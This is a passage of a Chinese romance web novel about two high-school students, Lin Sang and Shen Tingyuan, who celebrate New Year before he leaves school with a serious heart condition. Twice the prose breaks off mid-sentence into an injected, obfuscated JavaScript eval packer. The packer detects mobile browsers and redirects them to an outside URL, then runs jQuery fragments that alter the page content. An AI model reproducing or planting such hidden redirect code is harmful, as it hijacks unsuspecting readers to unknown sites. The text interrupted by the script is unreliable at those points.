沈听原没接,垂眼问:“不多拍几张?” 林桑想了想,“那就再拍几张。” 这次换了沈听原拿手机,拍了几张后,林桑迫不及待地让沈听原把照片发给她。 沈听原打开聊天框,选好图片后点了原图才发送。 他这边发完,下意识去看林桑,“过来了吗?” 林桑的消息还在一条接一条地跳着,看到屏幕上方跳动的备注,沈听原勾了下唇。 “Banana?” 林桑保存图片的手一顿,“怎么了?” 沈听原:“为什么给我备注这个?” 林桑继续保存着图片,啊了一声才道:“我以前没跟你说过吗?” 沈听原:“没有。” 林桑想了想,好像确实没说过。 沈听原手机上录了她的指纹,他的手机都是让她随便玩,林桑本来也礼尚往来,但沈听原从来没碰过她的手机。 只偶尔见她盯着手机的时候才会凑近看两眼。 所以他一直没发现这个备注,没问起过,她好像也没主动提过。 林桑:“你看我头像和昵称,小黄人Bob,挺明显的。” 沈听原表情纠结:“明显?可我还是没懂。” 林桑:“你不是也看过《神偷奶爸》吗,你想一想,Bob喜欢什么。” 沈听原:“Tim熊?” 他说的好像也没什么问题,林桑顿了一下:“你要不,再想想?” 沈听原眼珠动了动,想了一番说:“凯文?” “斯图尔特?” “格鲁?” 林桑:“……” 她现在算是反应过来了,这人就是故意的。 她低头整理着图片说:“香蕉也是。” 沈听原闻言,俯下身凑近,偏着头盯着她看:“Bob喜欢香蕉。” “所以你给我备注Banana的意思是……” 他刻意停顿,像是要她来亲口将答案补全。 林桑视线从屏幕移到他脸上,配合他道:“是喜欢你。” 她从未如此直白过,沈听原一时失神,愣了半晌才缓缓直起身。 耳根和脖颈上的红早已将他的心绪都暴露。 林桑憋着笑看着,得意道:“沈听原,你怎么不说话呀。” 沈听原喉结轻滚,屈指在鼻尖上碰了碰,嗓音低哑:“哦,那个,我知道了。” 他的反应看似平淡,手上的小动作却一个又一个,唇角努力克制着压了几次,还是会上升到一个从未有过的弧度。 林桑看了眼时间,没再逗他,扯了扯他的衣袖说:“还有一分钟。” 沈听原垂下眼来,两人一起凝神看着手机上的时间。 时间一分一秒过去,界面上的时间一翻新,周边的寂静被腾空升起的烟花打破。 林桑笑着看他:“沈听原,新的一年来了,新年一切顺利!” 沈听原也看着她,眉眼带笑:“金金,新的一年了,祝我们都能成为北城外国语大学2018级新生。” 林桑正想开口,就听他懒懒地补了一句:“这次准你学我。” 林桑:“新的一年,我们都会成功考上的!” 四周一阵赛过一阵的烟花渐渐消散,沈听原拿出打火机,上前将提前备好的烟花点燃。 林桑和他并排站着,仰头看了一会儿说:“我要多许一个新年愿望。” 林桑今晚穿了一条淡黄色碎花长裙,外搭一件白色罩衫,晚风轻轻带动着少女的裙摆,她脸上明媚的笑在烟花下更加动人。 一旁安静等待的少年失了神,妄想将这段美好短暂的瞬间变为永恒。 沈听原垂眸笑了笑,慢了半拍的心跳渐渐回归正轨,“好,多许点,都给你实现。” 林桑明亮的眸子转了转,抬手竖起食指说:“我不贪心,就多许一个。” 沈听原:“行,许什么?” 林桑:“等过年,你还给我放烟花。” 沈听原抬手揉了揉她的头说:“这还不简单,保证替你实现。” 烟花很快燃尽,两人将垃圾收拾完,沈听原送她回了家。 临进门前,沈听原从包里摸出一个东西塞进她掌心。 触感柔软,林桑拿起一看,和她之前丢的那个小黄人玩偶一模一样,只不过这个是崭新的。 她双眼不自觉放大,惊喜道:“我在云亭找了好几家店都没看到过一样的,你怎么买到的?” 沈听原:“榆城卖这些的店挺多的,等毕业了带你去逛逛。” 林桑笑着应:“好。” 她把玩偶捧在手里,看了又看,爱不释手。 倏地,在玩偶右下方触碰到一个坚硬的东西,林桑有些好奇,在上面按了一下。 下一秒,一道有些搞怪的电子音在寂静的道路上响起: “I love you !” 两人神色皆一愣,沈听原撇开眼道:“揣了一路都没发现它还有这个功能。” “那啥,你要是觉得吵就拆出来,我记得后面有拉链的。” 瞥到他微红的耳根,林桑笑了一下:“就这样吧,挺好的。” 沈听原视线重新移回,顿了两秒道:“那……打个商量?” 林桑:“什么?” 沈听原:“我知道之前那个玩偶陪了你很久,这个没法比,但……” 他垂眼认真地看着她,眸色似点漆,“那个找不回来了,以后换它陪你,好吗?” “我的小国王。” 自从听到奶奶喊她小乖后,沈听原对她的称呼就在“金金”和“小乖”之间随意切换,这会儿突然冒出来个新称呼,她一时间愣住。 见她没反应,沈听原也不催促,只弯唇看着她,林桑思索了几秒才后知后觉这个称呼从何而来。 是他给她的备注—— King Bob。 林桑笑了笑,继而重重点了下头道:“好。” * 元旦收假后,又过回了忙碌平淡的生活。 高三之后的每一场考试都变得很正规,答题卡上甚至每次都开始贴以前期中和期末考才会贴的条形码。 林桑和沈听原做了约定,将每一次考试的条形码都剪下来,贴在用来记录成绩的笔记本上。 笔记本是林桑在保管。 收假后的第三个周天,上完第一节自习,沈听原出现在教室门口。 林桑那会儿还在继续写着自习期间没做完的题,还是适珈蓝拍了拍她指着门口,她才起身往门外走。 沈听原把手里的条形码递给她说:“我一会儿请假,回趟花乌镇,下自习了不用等我。” 林桑伸手接过:“是有什么事吗?” “奶奶生病,前两天跟我爸吵了一架,现在赌气不肯去医院。”沈听原说,“我回去劝劝。” 林桑:“严重吗?” 沈听原笑了一下:“放心吧,没什么事,倒是跟我爸吵架这事有点棘手。” 林桑点点头:“就你一个人回去啊?” “没。”沈听原说,“我哥回来了,他开车陪我一起去。” 林桑很早以前就听他提过这个哥哥,不是亲哥却胜似亲哥,比沈听原大了七岁,很小的时候和奶奶相依为命,后来因为奶奶生病而辍学,打着最累的工,赚最少的钱,经常因为不服,没少跟人打架。 因为脑子聪明,在学校的时候成绩很出色,沈听原爸爸作为资助人,一直记得他的情况。得知已经辍学后,觉得可惜了这么个好苗子,多帮衬了一把。 后来奶奶还是没治好,只剩下他一个人,沈听原爸爸就将人接到了家里,吃住都和他们一起,上大学后就一直跟着沈听原他爸做生意,很少会回云亭。 “那就好。”林桑说,“到时候什么情况你记得发我消息。” 沈听原视线四下瞥了几眼,抬手在她头上揉了揉:“好。” “……” 学校规则一变再变,他们高三的住校生现在只有周天上完两节长达一个小时的自习后才能拿手机出校门,走读生则需要回来上完自习后再回家。 等林桑拿到手机看消息的时候,沈听原那边到花乌镇的消息也早发过来了。 她回复后,那边一直没什么动静,林桑把手机开了声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787756|157949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音放进包里,和适珈蓝一起出校门买东西。 而另一边,沈听原和侯云景到花乌镇后,吃了个实实在在的闭门羹。 沈听原在外面嗓子都快说哑了,老太太还是不为所动,别说开门了,连声也不应了。 沈听原叉腰在门口站了一会儿,凑到缝隙里瞧了一眼,老太太怡然自得地坐在摇椅上哼着曲。 他眼珠一转,朝侯云景使了个眼色。 两人一起生活了这么多年,默契度百分百,几乎是他眼珠打转的瞬间,侯云景就明白了他的意思。 他打开了后备箱门,将里面的东西都提出来。 围墙不高,沈听原往后退了几步,估算好距离,拎起不易碎的东西往里扔。 里面静默一会儿,老太太骂骂咧咧地把东西全部给扔了回来。 就这么一来一回不知道扔了多久,老太太哪是两个血气方刚的小伙子的对手,很快就败下阵来。 见没动静了,沈听原拎了拎衣领散热,随后抬脚上台阶,又从缝隙往里看。 发现东西都被老太太收了起来,整齐地码放在摇椅边。 他轻笑了一声,把那些不能扔的都搬到门口放好,拍门喊道:“奶奶,您见我们觉得烦,我也不碍您眼,剩下的东西给您放门口了。” “记得拿啊,别一会儿被人拎着走了,浪费钱。” 他这一番话并没引起老太太任何反应,不过以他对她的了解,交代过就足够了。 上车坐稳后,吹着空调,总有种重担终于卸下的感觉。 沈听原跟他爸交代任务已经完成后,一直和林桑聊着天。 车在一家特色菜馆停稳,他下车在打字,在饭馆坐稳了在打字,菜上了一道就拍一道,完事了继续打字。 侯云景喝了口苦荞茶,轻嗤一声道:“男人太主动,只能等着被甩。” 沈听原手速飞快地在屏幕上敲着,闻言抬眼,下巴往桌上一点,啧声道:“哥,这舂鸡脚里的柠檬都没你酸。” 侯云景轻哼一声,没再说话。 吃过饭后,两人启程回云亭。 沈听原极度晕车,在车上看手机的话头会晕得更严重,临上车前,他和林桑报备完已经准备回程后,就将手机放进了兜里。 黑色路虎缓缓驶离花乌镇,一路上四平八稳。 就在沈听原即将进入深度睡眠之际,侯云景猛然来了个急刹车,沈听原整个人因为惯性往前扑了出去,又被安全带扯回到椅背上。 他一颗心砰砰直跳,还没来得及缓口气,抬眼看到正前方车窗上醉醺醺呈大字形趴着的人,以及沥青路面上侧翻的摩托车,心跳短暂阻滞后,开始了难以抑制地加速。 一阵刺痛袭来,他忽然看不清眼前的任何事物,只觉呼吸渐渐变得困难,耳边有人在一遍又一遍喊着他的名字。 * 按照沈听原说的已经启程的时间来算,这会儿早该到了才是,但消息一直没人回复。 站在走廊能看到回教学楼的人,林桑在走廊待了半晌也不见熟悉的身影。 一股心慌一点一点侵蚀着她的神经。 林桑在走廊又待了五分钟,发出去的消息还是没人回复,那股紧张和不安愈发强烈。 她想了想,上楼往260班走。 她一出楼梯口,游书涧正好在教室门口,见到她,他挑了下眉道:”还没回来。” 林桑握着手机的手紧了几分:“他有回你消息吗?” “要回来之前发了个消息,之后就没动静了。”游书涧说,“别多想,出不了事。” “他家那个老太太可不是什么省油的灯,特难缠,指不定他们快回程的时候又作了什么妖。” 林桑点点头道:“我没多想,就是有东西要给他,看看他回来没。” 游书涧应了一声说:“他回来肯定会给你发消息,要是已经交了手机,我帮你带话让他下楼找你。” 林桑内心的恐慌没消散,连带着后背也开始有了凉意。 她用垂在身侧的手在大腿上掐了一把才开口:“好,谢谢。” 回教室后,班里已经开始交手机换座位。 林桑先去换了座位,一直拖到班长快去办公室交手机之前才将手机关机上交。 后面的自习上,林桑做题的时候总有些心不在焉,中途甚至好几次失神碰掉了桌上的水杯。 后面怕打扰到班上的同学,只能将水杯胡乱塞进桌肚里。 她一下自习就先跑去260班询问沈听原有没有回来,最后一节晚自习结束后,见她实在担心,游书涧身上带了手机,悄悄找了个地方帮她打了一通电话,没人接。 一直在麻烦他,林桑匆匆道了谢,和适珈蓝一起回了寝室。 路上适珈蓝安慰道:“你别多想,估计是太累了睡着了,要么就是晕车太难受。” “说不定明天早上跑早操的时候你就见到他了。” 宿管室前有座机,此时队伍像是一条蜿蜒着身躯的长龙,林桑看了几秒,收回眼,魂不守舍地应了一声。 * 隔天课间操结束回教室的时候,林桑在楼梯口遇到游书涧,没忍住问了一嘴。 被她喊住的时候,游书涧顿了顿才转过身:“他给你回过消息了,不过你交了手机应该没看到。” 林桑:“他现在是在花乌镇吗,还是在医院?” 游书涧脸上有一瞬的不自然划过,很快便恢复,他下意识挠了挠后脑勺:“……医院。” 说完,他扯出一抹笑:“好不容易把老太太弄到医院,担心她乱跑,他哥跟他换着守呢,可能得多请两天假。” 林桑心里还是有些小小的疑虑,但游书涧也没理由骗她。 她低喃道:“……这样啊” “那奶奶严重吗?” “没事。”游书涧说,“住院打两天针就能回去了。” 林桑道了谢,游书涧点了下头,上楼回了教室。 “……” 周二晚上,林桑做了一个杂乱无章的梦。 醒来的时候,呼吸频率大乱,后背沁出不少汗,她抬手摁亮电子表看了一眼时间。 四点三十。 距离她起床的时间还有四十分钟,她闭上眼,却没有半分睡意。 眼皮动了动,她重新睁开眼,盯着天花板,回想梦里的内容。 梦里的内容很多,她记得不真切,只有醒过来前的那一幕,仿若她刚刚经历过一般真实。 沈听原和她站在乌泱泱的黑云下,周遭狂风大起,眼前那条路却开阔发亮。 他们即将迎来的—— 或许是一轮夺目的骄阳。 或许是一场如注的暴雨。 林桑心想,不重要了。 前方尚且还有一条明亮的路可走,这些都不足以摧毁他们。 可梦境的最后,踏上那条路的人,只有她。 她回头,沈听原的身影渐渐被密布的黑云吞噬。 她大声喊着他的名字,始终无人应答。 24.第 24 章 寝室里有人起床的动静传来时,林桑才发现自己竟然又迷迷糊糊睡了一觉。 不知道是因为醒得早还是因为那个梦,她白天一直没什么精气神。 她记得沈听原的号码,一直想给沈听原打个电话,又怕打扰到他。 昨晚的那个梦缠了她一整个上午,林桑好不容易压下的不安又涌了上来。 她想了想,还是得跟沈听原确认一下情况。 云亭一中的校讯通最初是插上卡后按了号码就能打,每次通话时长限制在半个小时内,后来学校发现有人借机和校外的男女朋友煲电话粥,甚至时间到了又重新打,就更改了制度。只能打绑定在卡上的两个家属号码就算了,每次通话时间也只有三分钟。 也因此,宿管室前的座机成了抢手货。 林桑吃过早饭后就在宿管室前排队,到睡午觉的时间被老师赶回寝室的时候,她前面还排了至少十个人。 本想着午休结束后以最快的速度下楼去打,结果很多人想法都跟她一致,她的寝室虽换到了三楼,但也抢不过别人,只能作罢。 她犹豫过要不要去找陈雪借一下手机,可家长的电话用校讯通就能打,她一时间找不到合理的借口。 晚上下了晚自习回寝室洗漱完后,林桑出了寝室,探头往宿管室看了一眼,这会儿还是有人排队,但不是很多,她没犹豫,急速下了楼。 她这次运气不错,前面的人都没煲电话粥,很快就打完了。 轮到她的时候,林桑莫名有些紧张,按下号码的时候,指尖抑制不住地颤抖着,她死死咬了下唇才勉强压了一半。 电话响了很久才被人接通,对面响起一道很陌生的声音。 嗡—— 大脑里一片空白,喉头哽住,她一时之间不知道该说什么。 电话那头,侯云景看到来电显示的时候以为只是垃圾电话,没打算接,但电话一直没挂断,他想到什么,还是滑了接听键。 接通后,对面没说话,他有些莫名,拿下手机查看,开了免提。 听筒里传来一道浅浅的呼吸声。 他顿了顿,看了眼病床上熟睡的人,轻声开门离开。 “你找沈听原是吧,我是他哥,他周末应该跟你提过。” 耳边传来声音,林桑意识才逐渐回笼。 她应了一声:“是。” “是这样。”侯云景说,“老太太难缠,我俩轮流伺候,他这会儿刚有时间睡下。” “你有事的话,我去帮你把他叫醒?” 林桑默了默,长时间压抑的神经放松不少:“不用了,让他休息吧,麻烦你了。” 她想要挂断时,那头又出了声:“他过两天回学校。” 林桑:“好。” “……” 电话挂断后,林桑给身后的同学让了位,总觉得心里空了一块。 熄灯铃已经响过了,值班老师已经陆续开始巡逻,宿管阿姨催促她们快回寝室,不然一会儿被值班老师逮到就麻烦了。 林桑渐渐回过神,迈着沉重的步伐回了寝室。 …… 隔天下午吃过晚饭后,林桑在教学楼前的空地上背书。 她不太喜欢固定地坐在同一个位置背,习惯来回转悠。 背到一半,转过身时,余光里闯入一道高大的身影。 她没在意,继续往下背着,背了两句,突然顿住,视线从手里的课本移到那道身影上。 沈听原穿着校服,手里拎了一杯抹茶奶盖和一袋零食,插着兜看着她笑。 不过几天没见,林桑却有种恍若隔世的感觉。 甚至,开始怀疑眼前这个人,只是她幻想出来的。 她抬头看了看天空,又重新将视线落在那个位置。 他还在原地。 确实是沈听原。 林桑吸了吸鼻子,莫名有些想哭。 附近有老师巡逻,沈听原没靠太近。 看着她轻声道:“好久不见啊,小乖。” 林桑强忍下哭腔,见巡逻的老师上了教学楼后走到他身边:“沈听原,你吓死我了。” 沈听原眼底青黑一片,清冽的嗓音沾染了几分疲惫:“对不起啊,事发突然,没提前跟你说。” 林桑:“奶奶好了吗?” “好了。”沈听原说,“今早刚送回家。” 看着他不过几天的光景瘦了一圈,满脸倦容,林桑有些心疼:“你干嘛跟我道歉,我担心一下没什么,倒是你,反正都请过假了,休息好了再回学校也行啊。” “放心吧,休息好了才回的。”沈听原说,“这黑眼圈,有点难消,估计还得过两天才会褪。” 林桑这才勉强放下心来。 “……” 两人在一旁的小石桌坐下,各自背着书,有风吹过,头上的小叶榕沙沙作响,抖落了一阵落叶。 沈听原抬头看了一眼说:“你说云亭要是会下雪该多好,那现在落在头上的就不是枯黄的叶子,而是洁白的雪。” “这样也算是……” 没了下文,林桑停住动作,看向他:“什么?” 沈听原敞着腿,姿态懒散地坐着,书摊开在腿间,对上她的视线,他偏头笑着,缓缓将后半句补上。 “和你共白头。” 林桑撇撇嘴:“我才不要。” 沈听原笑意僵了一瞬:“为什么?” 林桑放下书说:“我才不要这么早就跟你共白头,少说也能活到八十岁吧,我还想和你一起慢慢享受共白头的过程。” 沈听原神色稍顿,:“……八十啊。” 他低喃道:“八十好啊,还有好几十年呢,咱们慢慢过。” “……” 铃声响起,沈听原送林桑回了教室。 在教室坐了一会儿后,林桑才戳开放在桌上的抹茶奶盖喝了一口。 入口不是熟悉的抹茶混着奶盖的清甜,而是一股浓浓的苦茶味。 奶茶最佳饮用时间一般都是半个小时以内,像这种加了抹茶粉和奶盖的,更是要在短时间内喝完。 林桑以前都是很快就喝完,今天才发现,抹茶奶盖放久了,竟是苦的。 她强忍着将已经喝进嘴里的奶茶咽了下去。 盯着桌上的奶茶看时,脑海中不合时宜地冒出一句话: ——“短暂是甜,长久是苦。” 后面两天,沈听原每天都会等她一起去吃饭,晚上照例会送她回寝室。 之前几个晚上空缺的纸条,也在这两天都补了回来。 周天,两人一起出门。 刚出学校门,林桑就见台阶尽头站了一个长相出众的男人。 男人朝他们的方向看了过来,沈听原脚步停住,“我哥,估计找我有事。” 这时,林桑兜里的手机正好响起,是外公打来的,说是让她抽出点时间回家一趟。 自从上了高三,林桑周末就很少会回家,外公也让她别老是来回跑,那点路程都够她在学校好好休息了。 这会儿特意打了电话过来,肯定是有什么事。 电话挂断后,林桑说:“你去找你哥吧,我得回趟家。” 沈听原看着她,眸色沉沉,喉结轻滚几次才应道:“好,注意安全。” 林桑摆摆手:“知道了,你也是。” “一会儿见。” 沈听原点点头,“好,一会儿见。” 最近天气时好时坏,不过几句话的时间,天空又飘起了毛毛细雨。 出门前见天气放晴两人都没带伞,离学校最近的公交站也就几步路的事,林桑和沈听原道完别后正打算跑到公交站躲一躲,却被沈听原喊住。 沈听原将校服外套脱下来盖在林桑头上,顺手揉了揉后俯下身道:“遮着点,别一会儿感冒了。” 他此刻的动作,像极了刚刚挑开头盖的新郎。 林桑的视野被他俊郎的脸和深邃的五官占据,饶是每天待在一起,在这种情形下,她的心还是会如以往那般怦怦跳动。 一时间有些脸热,林桑怔愣了几秒才应道:“啊,好。” “……” 下了公交后,林桑快步往家赶,却在巷口被老张喊住。 林桑停下脚步,看了过去:“爷爷,我最近可没生病。” “不是你。”老张慢悠悠摸着胡须说,“是经常跟你待一起那个小伙子。” 林桑愣了一下:“他……怎么了?” 老张语调深沉:“难说,你让他趁早去医院做个检查。” 林桑脊柱发麻,一股凉意从脚底窜到头顶,一下又一下刺激着她的神经。 她有些艰难地开口问:“您什么时候看出来的。” 老张想了想道:“早看出来了,一直没见到你俩,没机会说。” 林桑定在原地,静默许久,指甲几乎陷进肉里。 良久之后,她才开口,嗓音干涩发哑:“知道了,我一会儿回学校和他说。” 这话一说完,她就疾步往前走,身后传来老张的嘱咐,一定要趁早,她眼眶酸涩,没敢应。 离老张的摊位远了,林桑才慢慢放下脚步,脑子里一下子涌入太多东西,她不知道究竟该去细细地审视哪一项。 林桑手脚冰凉,僵硬地将手放进兜里,摸到手机时,她又犹豫了。 想到最近的事,还有沈听原有些反常的举动。 或许,他已经去过医院了。 林桑忽然不太想得到答案。 她坚信,只要她晚一点得到答案,他就没事。 再说了,老张虽然看病很准,但俗话不是说了吗,“人有失足,马有失蹄”,也有可能他看错了呢。 对。 看错了。 他没事的。 林桑走在路上,一遍一遍劝服自己,总算在到家门口时将那些杂念都抛之脑后。 她站在门口闭了闭眼,深吐了几次气才推门而入。 见她到了,外公喜笑颜开地迎了过来,拉着她走到花架下。 石桌上摆放着两个巨大的木箱子,箱子上面雕刻着不少花纹。 外公宝贝似的拍了拍箱子盖。 林桑:“这什么?” 外公瞅了她一眼道:“这小年轻怎么记性还没我好。” “外公之前给你定制的婚服,忘啦?” 这么一说,林桑想起来了。 前两年,有段时间外公身体不太好,总是反反复复,他说怕自己等不到林桑结婚的那一天,也怕她以后结婚的时候,婚服全是租的,都没套像样的。 愣是出了趟远门去找人定制衣服和首饰。 东西早该做好送过来了才是,结果负责绣图案的师傅出车祸手骨折休养了好一阵,就一直拖到了现在。 外公背着手,笑呵呵地道:“打开看看。” 林桑走到石桌前,开了最上面那个箱子的锁扣掀开盖。 映入眼帘的,是一堆银白的首饰。 摆在最中间的那个,包的很严实,看形状,应该是头饰。 他们这一片的彝族不多,很多都已经没保留过去的一些习俗,更别说穿彝族传统服饰了。 衣服林桑也只在小时候穿过,是外婆给她缝制的,后来初一那会儿外婆生病去世后,她就再没穿过。 至于首饰,也都是些简单的手镯和耳钉之类的。 像箱子里这种,她都只在手机上刷视频的时候见过。 见她愣神,外公笑道:“你们小辈现在都很少见这些,我当年娶你外婆的时候,她头上戴的,比这个还大呢。” 外公骄傲地说着,把箱子抬到一旁,示意她开第二个箱子。 林桑按照他的意思,开了另一只箱子,里面的衣服也是好好包装过的,不太能看出是什么样。 外公说:“你去把衣服换上,要是不合身,我又让人改。” 林桑笑着应:“好。” 她抱着木箱回了卧室,上面的包装费了她不少功夫,拆完后,林桑才将衣服换上。 几分钟后,林桑站在全身镜前。 镜子里,少女面容素净,头发扎在耳后,头上没有任何装饰,身上的衣服以红色为主色,拼有黑黄两色,色彩饱满,冲击感很强。领口、袖管、下摆三处都有挑花刺绣,针脚细密,纹样繁多,每一道图案都绣得精美细致。 林桑定定地看着镜中的自己,仿佛这是第一次穿这身衣服,也是最后一次,恨不能将每一寸都刻进记忆深处。 林桑长个最猛那会儿是初二,后来就基本定型没再长过,所以衣服很合身。 窗外传来外公催促的喊声,林桑又依依不舍地看了两眼才开门往外走。 她走到石桌前,发现外公已经将头饰上的包装都拆了,端端正正摆在石桌上。 圆形的银冠上布满了各种花纹,周边围了一排圆条一样的流苏。 她想凑上前去看得仔细些,被外公拽了一把站直。 外公手里拿着胸牌给她戴上,胸牌很长,几乎到她膝盖,因为是纯银的,有些重量,林桑一时不备,下意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787757|157949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识往前倾,被外公一把扶住。 外公笑着继续帮她戴其他首饰,“这点都戴不稳,一会儿戴头饰岂不是得靠我扶你了?” 林桑笑:“我就是没反应过来,哪那么夸张。” 戴上头饰后,林桑笑不出来了,头上倏地多了个重物,不太习惯,她抬手扶着银冠,连头都不敢扭。 外公站在一旁,仔细端详了一会儿,满意地点头道:“不错不错,不用改了。” 林桑:“那能拿了不?” 外公嘴里应着声,过来刚要帮她取下,大门被人敲响。 外公顿住,过去开了门,见是沈听原,他笑道:“这小子,还挺会挑时候,被他捡着便宜了。” 沈听原抬脚跨进门,抬眼看到林桑,怔在原地。 “这是……” “我给这丫头定做的婚服,今天刚到,让她试试合不合身。”外公说。 外公得意地笑着:“漂亮吧?” 沈听原双眸一瞬不移地落在林桑身上,眸中细碎的光闪了又闪,好半晌才道:“漂亮。” 外公又笑,笑够了,想起开门前要做的事,连忙过去,抬手才触碰到银冠,林桑突然出声打断了他的动作。 “外公,你帮我们拍张合照。” 外公:“你穿这个和他拍?” 林桑:“嗯。” 外公:“这不行,被他提前见到就便宜他了。” 林桑嗓音微微发颤,低声用只有他们能听见的声音道:“外公,求您了。” 外公叹了一声,妥协道:“好好好。” 林桑:“我手机放在书桌上了,你帮我拿一下呗。” 外公没说话,抬脚往她卧室去了。 林桑缓缓抬起眼,看向沈听原。 沈听原眼眶微微发红,下颌紧绷着,对上她的视线,他舔舔唇,嘴唇翕动。 几秒后,他才开口,语气里夹杂着几分艰难。 “金金,我有话跟你说。” 短短一句话,令林桑鼻头一酸,眼眶开始有了湿意,她咬唇道:“我知道,拍完合照,我们出去说。” 外公取了手机出来,林桑解开锁,点开相机。 林桑在花架下站好,沈听原顿了顿,努力迈着步伐走到她身侧站定。 林桑盯着镜头,她手上的银色镯子和他手上的机械表抵在一起,两手中间有了一道小小的缝隙。 像是要将他们割裂开来。 连拍了几张后,指尖被人轻轻碰了一下,一触即离。 林桑动了动,迎了上去,一把握住那只坚实有力的手。 她没看他,眼眶里泪水打转,声音止不住颤抖:“沈听原,别看我,看镜头。” 沈听原手动了动,回扣住她的手腕,随后移到指尖,一点一点挤了进去。 两人十指紧扣。 生怕稍微一放松。 就会放走对方。 “……” 许是察觉到了他们之间的气氛不太对,外公没多问,拍完照后,说着要去下棋就出门了。 把空间留给了他们。 沈听原帮林桑把首饰都取了下来,两人坐在石桌前,相对无言。 良久后,林桑率先打破了平静,嗓音抖得不像话:“你要走了,是吗?” 沈听原舔了舔干涩的唇,哑声道:“是。” “得出趟远门解决个事,归期——” 他闭了闭眼,下颌动了动:“暂时不定。” “不过别怕,不是什么大事,我一定会回来。” 林桑不敢问究竟是什么原因,低声道:“嗯,我知道。” 随后,又是沉默。 林桑眼眶里续满了泪水,她仰了仰头,双手攥紧,尽量将每一个字眼都说得清楚。 “我不想其他的,会好好备考。” “你好好听话,谁的话都是。” “我们说好了的,九月份……” 林桑顿了顿,改口道:“不是,是以后,我们都会成为北城外国语大学新生。” 沈听原湿润的眼眸看着她,好半晌才颤着声应:“好。” 沈听原包里的手机响了起来,他身上穿了厚外套,林桑知道,他要走了。 走之前,特意赶来和她道别。 她深吸了一口气:“沈听原,你走吧,我就不送你了。” 沈听原缓慢起身,没说话,转身后走了两步,在原地站定,肩膀颤抖的幅度慢慢变大。 见状,林桑双手死死掐在大腿上,将快要汹涌而出的泪水悉数憋了回去。 她不能在他面前哭。 尤其是这个时候。 林桑眼眶瞪得生疼,她就这样眼睛一瞬不眨地看着他高大的身影离她越来越远。 沈听原前脚跨出门槛后,顿了顿,折返回来。 “金金,能抱一下吗?” 林桑没说话,起身走了过去,张开双手抱住他。 沈听原双手在她身后渐渐收拢,林桑埋在他怀里,用力咬着唇,闻着他身上熟悉的香味,感受着他身上温热的气息。 忽地,他动了动,两手交替着,重新搂上。 脚边有什么东西落下,林桑没去看,只觉沈听原身上温热的气息更浓了几分,他们之间的阻碍,也少了几分。 他更用力了,又怕伤到她,隐隐克制住。 他下巴抵在她肩上,热气尽数喷洒在耳侧。 他说:“衣服太厚了,抱着没感觉。” 许久后,有滚烫的东西没入她发间,从耳后滑落时,竟是冰凉。 她的心。 亦如此。 “……” 林桑看着他拾起外套穿上,重新往门外走。 林桑想到过去都是他每天写情书给她,情话和含蓄的表白都让他说了个遍。 直觉告诉她,她如果再不说,他跨出这扇门后。 有些话,她就再没机会说出口了。 “沈听原,我有话要说。” 像是猜到了她要说什么一般,沈听原没转身,仰着头轻声道:“金金,下次说,好吗?” 如果是在往常,她会毫不犹豫地说好。 但这会儿,她却固执地追问:“下次是哪次?” 沈听原身形僵了一瞬道:“高考结束后。” “好不好?” 林桑重重点了点头说:“好,那就下次说。” 可他们都知道的。 下次说。 下次。 人哪来那么多下次。 25.第 25 章 回学校后,林桑开始变得寡言,连短暂的休息都没有,每天反反复复刷着题。 知道她想考的学校录取分数线很高,适珈蓝也只当她是距离高考越来越近担心出意外才这么拼。 嘱咐过她几次一定要休息够,不然身体会垮,但林桑还是一如既往,适珈蓝也放弃了。 直到过了一周后,沈听原因病休学的消息渐渐在年级里传开。 适珈蓝知道的那天,是周三。 两人吃过早饭准备回寝室午休,有两个女生走在她们前面边走边聊天,聊着聊着,其中一个短头发的女生说:“你知不知道,沈听原休学了。” 另一个女生诧异:“这上学期马上结束了,离高考就剩最后一学期,他休学,怎么想的?” 短发女生叹了一声道:“生病。” 另一个女生纳闷道:“不能等高考结束再治啊。” 短发女生耸耸肩:“你以为他不想,但这病不允许啊。” “什么病啊?” “心脏病,听说还是遗传的。” “我估计啊,治好的可能性很小,因为听说他妈妈就是这个病……” “……” 宿舍楼一共两个入口,两个女生说着拐进了和她们相反的入口,后面的话也被墙壁给阻挡。 适珈蓝微微张着嘴看着她,林桑扯出一抹僵硬的笑:“没事,我早就知道。” 适珈蓝上前抬手抱住她,轻轻安抚着她道:“没事啊没事,别怕,她们不也说了,只是猜测和听说,有些话传的人多了就会变味。” “咱不怕,会好的。” 林桑强压下眼眶的酸意:“嗯,会好的。” 那天中午,林桑没合眼。 云亭一中的午觉时间是半个小时,强制性回寝室睡,尤其是他们高三的。 毫无睡意,她不能留在教室刷题麻痹自己,只能就这么睁眼看着天花板。 泪水一股股从眼角滑落,落入耳廓中,没入发间。 湿润了一片。 她无暇顾及。 脑子里全是回寝室路上那两个女生的交谈。 她那天没敢问老张沈听原究竟哪出问题,也没敢问沈听原。 虽然隐隐猜到了,但潜意识里,她觉得只要她不知道真相,日子就有盼头。 沈听原口中的归期不定,她也能当作只是暂时的。 可她们说,治好的可能性很小。 可能性很小。 还有,后面没听到的话…… 这些字眼像是一根根细密的针,深深扎进了她的心底。 为什么现实总喜欢打得人措手不及呢,为什么不能像影片里那样,出现变故前给出诸多预兆。 可她仔细一想,一切不是早就有迹可循了吗。 她之前,为什么不能多敏感一些,多细致一些。 总是过分相信他,他三言两语,她就信服。 